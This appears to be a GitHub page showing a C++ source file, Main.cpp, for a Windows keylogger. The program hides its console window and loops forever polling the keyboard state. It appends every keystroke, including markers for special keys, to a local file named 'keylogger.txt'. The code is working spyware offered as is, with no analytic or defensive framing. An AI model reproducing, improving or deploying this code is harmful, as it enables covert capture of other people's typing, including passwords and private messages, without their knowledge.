-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.cpp
More file actions
116 lines (105 loc) · 1.99 KB
/
Main.cpp
File metadata and controls
116 lines (105 loc) · 1.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <iostream>
#include <fstream>
#include <Windows.h>
//Log file
#define LOG_FILE "keylogger.txt"
void SaveData(std::string data)
{
std::fstream logFile;
//Open file
logFile.open(LOG_FILE, std::ios::app);
//Write data
logFile << data;
//Close file
logFile.close();
}
std::string translateSpecialKey(int key)
{
std::string result;
switch (key)
{
case VK_SPACE:
//Space key
result = " ";
break;
case VK_RETURN:
//Enter key
result = "\n";
break;
case VK_BACK:
//Backspace key
result = "\b";
break;
case VK_CAPITAL:
//Capslock key
result = "[CAPS LOCK]";
break;
case VK_SHIFT:
//Shift key
result = "[SHIFT]";
break;
case VK_TAB:
//Tab key
result = "[TAB]";
break;
case VK_CONTROL:
//Control key
result = "[CTRL]";
break;
case VK_MENU:
//Alt key
result = "[ALT]";
break;
default:
break;
}
return result;
}
int main()
{
int SpecialKeyArray[] = { VK_SPACE, VK_RETURN, VK_BACK, VK_CAPITAL, VK_SHIFT, VK_TAB, VK_CONTROL, VK_MENU };
std::string SpecialKeyChar;
bool isSpecialKey;
//Hide terminal window
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
//Loop forever
while (true)
{
//Loop through each key
for (auto key = 0; key < 190; key++)
{
// Check key is pressed
if (GetAsyncKeyState(key) == -32767)
{
//Key is pressed
//Check if key is special key
isSpecialKey = std::find(std::begin(SpecialKeyArray), std::end(SpecialKeyArray), key) != std::end(SpecialKeyArray);
if (isSpecialKey)
{
//Translate special keys
SpecialKeyChar = translateSpecialKey(key);
//Save data
SaveData(SpecialKeyChar);
}
else
{
//This is not a special key
//Check uppercase or lowercase
if (GetKeyState(VK_CAPITAL))
{
//CAPS is on
SaveData(std::string(1, (char) key));
}
else
{
//CAPS is off
//Turn the character into lowercase before save
SaveData(std::string(1, (char)std::tolower(key)));
}
}
}
}
}
return 0;
}